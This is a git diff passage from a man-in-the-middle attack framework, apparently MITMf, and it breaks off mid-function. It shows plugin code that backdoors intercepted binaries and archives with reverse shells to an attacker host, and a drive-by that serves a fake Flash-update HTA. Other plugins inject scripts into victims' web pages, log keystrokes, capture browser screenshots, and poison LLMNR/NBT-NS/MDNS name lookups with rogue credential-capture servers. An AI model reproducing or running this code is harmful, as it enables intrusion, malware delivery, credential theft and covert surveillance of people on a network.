cave_jumping = False
if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx64['SHELL'],
HOST=self.WindowsIntelx64['HOST'],
PORT=int(self.WindowsIntelx64['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif (machineType == 0x14c and
self.WindowsType.lower() in ['all', 'x86']):
add_section = False
cave_jumping = False
#add_section wins for cave_jumping
#default is single for BDF
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx86['SHELL'],
HOST=self.WindowsIntelx86['HOST'],
PORT=int(self.WindowsIntelx86['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
if targetFile.class_type == 0x1:
#x86CPU Type
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx86['SHELL'],
HOST=self.LinuxIntelx86['HOST'],
PORT=int(self.LinuxIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif targetFile.class_type == 0x2:
#x64
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx64['SHELL'],
HOST=self.LinuxIntelx64['HOST'],
PORT=int(self.LinuxIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho
targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
#ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
if targetFile.FAT_FILE is True:
if self.FatPriority == 'x86':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif self.FatPriority == 'x64':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
self.patched.put(result)
return
except Exception as e:
print 'Exception', str(e)
self.log.warning("EXCEPTION IN binaryGrinder {}".format(e))
return None
def tar_files(self, aTarFileBytes, formatt):
"When called will unpack and edit a Tar File and return a tar file"
print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB'
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size"
self.log.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
self.patched.put(aTarFileBytes)
return
with tempfile.NamedTemporaryFile() as tarFileStorage:
tarFileStorage.write(aTarFileBytes)
tarFileStorage.flush()
if not tarfile.is_tarfile(tarFileStorage.name):
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
compressionMode = ':'
if formatt == 'gz':
compressionMode = ':gz'
if formatt == 'bz':
compressionMode = ':bz2'
tarFile = None
try:
tarFileStorage.seek(0)
tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode)
except tarfile.ReadError:
pass
if tarFile is None:
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
print '[*] Tar file contents and info:'
print '[*] Compression:', formatt
members = tarFile.getmembers()
for info in members:
print "\t", info.name, info.mtime, info.size
newTarFileStorage = tempfile.NamedTemporaryFile()
newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage)
patchCount = 0
wasPatched = False
for info in members:
print "[*] >>> Next file in tarfile:", info.name
if not info.isfile():
print info.name, 'is not a file'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
if info.size >= long(self.FileSizeMax):
print info.name, 'is too big'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
# Check against keywords
keywordCheck = False
if type(self.tarblacklist) is str:
if self.tarblacklist.lower() in info.name.lower():
keywordCheck = True
else:
for keyword in self.tarblacklist:
if keyword.lower() in info.name.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Tar blacklist enforced!"
self.log.info('Tar blacklist enforced on {}'.format(info.name))
continue
# Try to patch
extractedFile = tarFile.extractfile(info)
if patchCount >= int(self.userConfig['TAR']['patchCount']):
newTarFile.addfile(info, extractedFile)
else:
# create the file on disk temporarily for fileGrinder to run on it
with tempfile.NamedTemporaryFile() as tmp:
shutil.copyfileobj(extractedFile, tmp)
tmp.flush()
patchResult = self.binaryGrinder(tmp.name)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(tmp.name)
print "[*] Patching complete, adding to tar file."
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
newTarFile.addfile(info, f)
self.log.info("{} in tar patched, adding to tarfile".format(info.name))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f)
self.log.info("{} patching failed. Keeping original file in tar.".format(info.name))
if patchCount == int(self.userConfig['TAR']['patchCount']):
self.log.info("Met Tar config patchCount limit.")
# finalize the writing of the tar file first
newTarFile.close()
# then read the new tar file into memory
newTarFileStorage.seek(0)
ret = newTarFileStorage.read()
newTarFileStorage.close() # it's automatically deleted
if wasPatched is False:
# If nothing was changed return the original
print "[*] No files were patched forwarding original file"
self.patched.put(aTarFileBytes)
return
else:
self.patched.put(ret)
return
def zip_files(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file"
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
self.log.info("ZipFIle maxSize met {}".format(len(aZipFile)))
self.patched.put(aZipFile)
return
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
tmpDir = '/tmp/' + tmpRan
tmpFile = '/tmp/' + tmpRan + '.zip'
os.mkdir(tmpDir)
with open(tmpFile, 'w') as f:
f.write(aZipFile)
zippyfile = zipfile.ZipFile(tmpFile, 'r')
#encryption test
try:
zippyfile.testzip()
except RuntimeError as e:
if 'encrypted' in str(e):
self.log.info('Encrypted zipfile found. Not patching.')
self.patched.put(aZipFile)
return
print "[*] ZipFile contents and info:"
for info in zippyfile.infolist():
print "\t", info.filename, info.date_time, info.file_size
zippyfile.extractall(tmpDir)
patchCount = 0
wasPatched = False
for info in zippyfile.infolist():
print "[*] >>> Next file in zipfile:", info.filename
if os.path.isdir(tmpDir + '/' + info.filename) is True:
print info.filename, 'is a directory'
continue
#Check against keywords
keywordCheck = False
if type(self.zipblacklist) is str:
if self.zipblacklist.lower() in info.filename.lower():
keywordCheck = True
else:
for keyword in self.zipblacklist:
if keyword.lower() in info.filename.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
self.log.info('Zip blacklist enforced on {}'.format(info.filename))
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
self.log.info("{} in zip patched, adding to zipfile".format(info.filename))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
self.log.info("{} patching failed. Keeping original file in zip.".format(info.filename))
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
self.log.info("Met Zip config patchCount limit.")
break
zippyfile.close()
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
print "[*] Writing to zipfile:", tmpFile
for base, dirs, files in os.walk(tmpDir):
for afile in files:
filename = os.path.join(base, afile)
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '')
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
zipResult.close()
#clean up
shutil.rmtree(tmpDir)
with open(tmpFile, 'rb') as f:
tempZipFile = f.read()
os.remove(tmpFile)
if wasPatched is False:
print "[*] No files were patched forwarding original file"
self.patched.put(aZipFile)
return
else:
self.patched.put(tempZipFile)
return
def response(self, response, request, data):
content_header = response.headers['Content-Type']
client_ip = response.getClientIP()
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
self.clientlog.info("Detected supported zip file type!", extra=request.clientInfo)
process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,))
process.daemon = True
process.start()
#process.join()
bd_zip = self.patched.get()
if bd_zip:
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
return {'response': response, 'request': request, 'data': bd_zip}
else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
self.clientlog.info("Detected supported tar file type!", extra=request.clientInfo)
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True
process.start()
#process.join()
bd_tar = self.patched.get()
if bd_tar:
self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo)
return {'response': response, 'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype):
self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo)
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
process.daemon = True
process.start()
#process.join()
patchb = self.patched.get()
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
self.clientlog.info("Patching complete, forwarding to client", extra=request.clientInfo)
return {'response': response, 'request': request, 'data': bd_binary}
else:
self.clientInfo.info("Patching Failed!", extra=request.clientInfo)
self.clientlog.debug("File is not of supported content-type: {}".format(content_header), extra=request.clientInfo)
return {'response': response, 'request': request, 'data': data}

56
plugins/htadriveby.py Normal file

@ -0,0 +1,56 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import re
import flask
from plugins.plugin import Plugin
from plugins.inject import Inject
from core.servers.http.HTTPserver import HTTPserver
class HTADriveBy(Inject, Plugin):
name = 'HTA Drive-By'
desc = 'Performs HTA drive-by attacks on clients'
optname = 'hta'
ver = '0.1'
def initialize(self, options):
self.bar_text = options.text
self.ip = options.ip
Inject.initialize(self, options)
self.html_payload = self.get_payload()
server = HTTPserver().server
@server.route('/<hta_req>')
def client_request(hta_req):
if hta_req == "Flash.hta":
with open('./config/hta_driveby/Flash.hta') as hta_file:
resp = flask.Response(hta_file.read())
resp.headers['Content-Type'] = "application/hta"
return resp
def get_payload(self):
with open("./core/html/htadriveby.html", 'r') as file:
payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
return payload
def options(self, options):
options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")

@ -17,10 +17,9 @@
# #
import time import time
import re
import sys import sys
import argparse
from bs4 import BeautifulSoup
from plugins.plugin import Plugin from plugins.plugin import Plugin
class Inject(Plugin): class Inject(Plugin):
@ -48,48 +47,59 @@ class Inject(Plugin):
self.white_ips = options.white_ips.split(',') self.white_ips = options.white_ips.split(',')
self.white_domains = options.white_domains.split(',') self.white_domains = options.white_domains.split(',')
self.black_domains = options.black_domains.split(',') self.black_domains = options.black_domains.split(',')
self.match_str = options.match_str
self.ctable = {} self.ctable = {}
self.dtable = {} self.dtable = {}
self.count = 0 self.count = 0
self.mime = "text/html"
def response(self, response, request, data): def response(self, response, request, data):
ip, hn, mime = self._get_req_info(response)
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip): ip = response.getClientIP()
if (not self.js_url == self.html_url is not None or not self.html_payload == ""): hn = response.getRequestHostname()
data = self._insert_html(data, post=[(self.match_str, self.get_payload())]) mime = response.headers['Content-Type']
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True if self._should_inject(ip, hn) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip) and ("text/html" in mime):
self.count += 1 html = BeautifulSoup(data, "lxml")
self.clientlog.info("Injected malicious html: {}".format(hn), extra=request.clientInfo) if html.body:
if self.html_url:
iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0)
html.body.append(iframe)
self.clientlog.info("Injected HTML Iframe: {}".format(hn))
if self.html_payload:
payload = BeautifulSoup(self.html_payload, "html.parser")
html.body.append(payload)
self.clientlog.info("Injected HTML payload: {}".format(hn), extra=request.clientInfo)
if self.html_file:
with open(self.html_file, 'r') as file:
payload = BeautifulSoup(file.read(), "html.parser")
html.body.append(payload)
self.clientlog.info("Injected HTML file: {}".format(hn), extra=request.clientInfo)
if self.js_url:
script = html.new_tag('script', type='text/javascript', src=self.js_url)
html.body.append(script)
self.clientlog.info("Injected JS script: {}".format(hn), extra=request.clientInfo)
if self.js_payload:
tag = html.new_tag('script', type='text/javascript')
tag.append(self.js_payload)
html.body.append(tag)
self.clientlog.info("Injected JS payload: {}".format(hn), extra=request.clientInfo)
if self.js_file:
tag = html.new_tag('script', type='text/javascript')
with open(self.js_file, 'r') as file:
tag.append(file.read())
html.body.append(tag)
self.clientlog.info("Injected JS file: {}".format(hn), extra=request.clientInfo)
data = str(html)
return {'response': response, 'request':request, 'data': data} return {'response': response, 'request':request, 'data': data}
def get_payload(self):
payload = ''
if self.html_url is not None:
payload += '<iframe src="{}" height=0%% width=0%%></iframe>'.format(self.html_url)
if self.html_payload is not None:
payload += self.html_payload
if self.html_file:
payload += self.html_file.read()
if self.js_url is not None:
payload += '<script type="text/javascript" src="{}"></script>'.format(self.js_url)
if self.js_payload is not None:
payload += '<script type="text/javascript">{}</script>'.format(self.js_payload)
if self.js_file:
payload += '<script type="text/javascript">{}</script>'.format(self.js_file.read())
return payload
def _ip_filter(self, ip): def _ip_filter(self, ip):
if self.white_ips[0] != '': if self.white_ips[0] != '':
@ -122,8 +132,7 @@ class Inject(Plugin):
return True return True
def _should_inject(self, ip, hn):
def _should_inject(self, ip, hn, mime):
if self.count_limit == self.rate_limit is None and not self.per_domain: if self.count_limit == self.rate_limit is None and not self.per_domain:
return True return True
@ -138,45 +147,16 @@ class Inject(Plugin):
if self.per_domain: if self.per_domain:
return not ip+hn in self.dtable return not ip+hn in self.dtable
return mime.find(self.mime) != -1 return True
def _get_req_info(self, response):
ip = response.getClientIP()
hn = response.getRequestHostname()
mime = response.headers['Content-Type']
return (ip, hn, mime)
def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
'''
To use this function, simply pass a list of tuples of the form:
(string/regex_to_match,html_to_inject)
NOTE: Matching will be case insensitive unless differnt flags are given
The pre array will have the match in front of your injected code, the post
will put the match behind it.
'''
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in pre]
post_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in post]
for i, r in enumerate(pre_regexes):
data = re.sub(r, "\g<match>"+pre[i][1], data)
for i, r in enumerate(post_regexes):
data = re.sub(r, post[i][1]+"\g<match>", data)
return data
def options(self, options): def options(self, options):
options.add_argument("--js-url", type=str, help="URL of the JS to inject") options.add_argument("--js-url", type=str, help="URL of the JS to inject")
options.add_argument('--js-payload', type=str, help='JS string to inject') options.add_argument('--js-payload', type=str, help='JS string to inject')
options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject') options.add_argument('--js-file', type=str, help='File containing JS to inject')
options.add_argument("--html-url", type=str, help="URL of the HTML to inject") options.add_argument("--html-url", type=str, help="URL of the HTML to inject")
options.add_argument("--html-payload", type=str, help="HTML string to inject") options.add_argument("--html-payload", type=str, help="HTML string to inject")
options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject') options.add_argument('--html-file', type=str, help='File containing HTML to inject')
options.add_argument("--match-str", type=str, default='</body>', help="String you would like to match and place your payload before. (</body> by default)")
group = options.add_mutually_exclusive_group(required=False) group = options.add_mutually_exclusive_group(required=False)
group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")

62
plugins/jskeylogger.py Normal file

@ -0,0 +1,62 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.inject import Inject
from plugins.plugin import Plugin
class JSKeylogger(Inject, Plugin):
name = "JSKeylogger"
optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages"
version = "0.2"
def initialize(self, options):
Inject.initialize(self, options)
self.js_file = "./core/javascript/msfkeylogger.js"
def request(self, request):
if 'keylog' in request.uri:
request.handle_post_output = True
raw_keys = request.postData.split("&&")[0]
input_field = request.postData.split("&&")[1]
keys = raw_keys.split(",")
if keys:
del keys[0]; del(keys[len(keys)-1])
nice = ''
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice[:-1]
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
def options(self, options):
pass

@ -1,5 +1,3 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati # Copyright (c) 2014-2016 Marcello Salvati
# #
# This program is free software; you can redistribute it and/or # This program is free software; you can redistribute it and/or
@ -24,7 +22,7 @@ import argparse
from core.configwatcher import ConfigWatcher from core.configwatcher import ConfigWatcher
from core.logger import logger from core.logger import logger
class Plugin(ConfigWatcher, object): class Plugin(ConfigWatcher):
name = "Generic plugin" name = "Generic plugin"
optname = "generic" optname = "generic"
tree_info = [] tree_info = []

53
plugins/replace.py Normal file

@ -0,0 +1,53 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Original plugin by @rubenthijssen
"""
import re
from plugins.plugin import Plugin
class Replace(Plugin):
name = "Replace"
optname = "replace"
desc = "Replace arbitrary content in HTML content"
version = "0.2"
def initialize(self, options):
self.options = options
def response(self, response, request, data):
mime = response.headers['Content-Type']
hn = response.getRequestHostname()
if "text/html" in mime:
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):
try:
data = re.sub(regex1, regex2, data)
self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
except Exception:
self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
return {'response': response, 'request': request, 'data': data}

141
plugins/responder.py Normal file

@ -0,0 +1,141 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from twisted.internet import reactor
class Responder(Plugin):
name = "Responder"
optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests"
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.ip = options.ip
try:
config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception as e:
shutdown('[-] Error parsing config for Responder: ' + str(e))
from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner
from core.responder.mdns.MDNSpoisoner import MDNSpoisoner
from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner
from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter
LANfingerprinter().start(options)
MDNSpoisoner().start(options, options.ip)
NBTNSpoisoner().start(options, options.ip)
LLMNRpoisoner().start(options, options.ip)
if options.wpad:
from core.servers.http.HTTPserver import HTTPserver
import flask
server = HTTPserver().server
@server.route('/<wpad_req>')
def wpad(wpad_req):
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
payload = self.config['Responder']['WPADScript']
resp = flask.Response(payload)
resp.headers['Server'] = "Microsoft-IIS/6.0"
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
resp.headers['X-Powered-By'] = "ASP.NET"
resp.headers['Content-Length'] = len(payload)
return resp
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLserver import MSSQLserver
MSSQLserver().start(smbChal)
if self.config["Responder"]["Kerberos"].lower() == "on":
from core.responder.kerberos.KERBserver import KERBserver
KERBserver().start()
if self.config["Responder"]["FTP"].lower() == "on":
from core.responder.ftp.FTPserver import FTPserver
FTPserver().start()
if self.config["Responder"]["POP"].lower() == "on":
from core.responder.pop3.POP3server import POP3server
POP3server().start()
if self.config["Responder"]["SMTP"].lower() == "on":
from core.responder.smtp.SMTPserver import SMTPserver
SMTPserver().start()
if self.config["Responder"]["IMAP"].lower() == "on":
from core.responder.imap.IMAPserver import IMAPserver
IMAPserver().start()
if self.config["Responder"]["LDAP"].lower() == "on":
from core.responder.ldap.LDAPserver import LDAPserver
LDAPserver().start(smbChal)
if options.analyze:
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
self.IsICMPRedirectPlausible(options.ip)
def IsICMPRedirectPlausible(self, IP):
result = []
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
else:
pass
def IsOnTheSameSubnet(self, ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def reactor(self, strippingFactory):
reactor.listenTCP(3141, strippingFactory)
def options(self, options):
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning")
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
# Removed these options until I find a better way of implementing them
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")

59
plugins/screenshotter.py Normal file

@ -0,0 +1,59 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import base64
import urllib
import re
from datetime import datetime
from plugins.plugin import Plugin
from plugins.inject import Inject
class ScreenShotter(Inject, Plugin):
name = 'ScreenShotter'
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
def initialize(self, options):
Inject.initialize(self, options)
self.js_payload = self.get_payload()
self.interval = options.interval
def request(self, request):
if 'saveshot' in request.uri:
request.handle_post_output = True
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
except Exception as e:
self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
def get_payload(self):
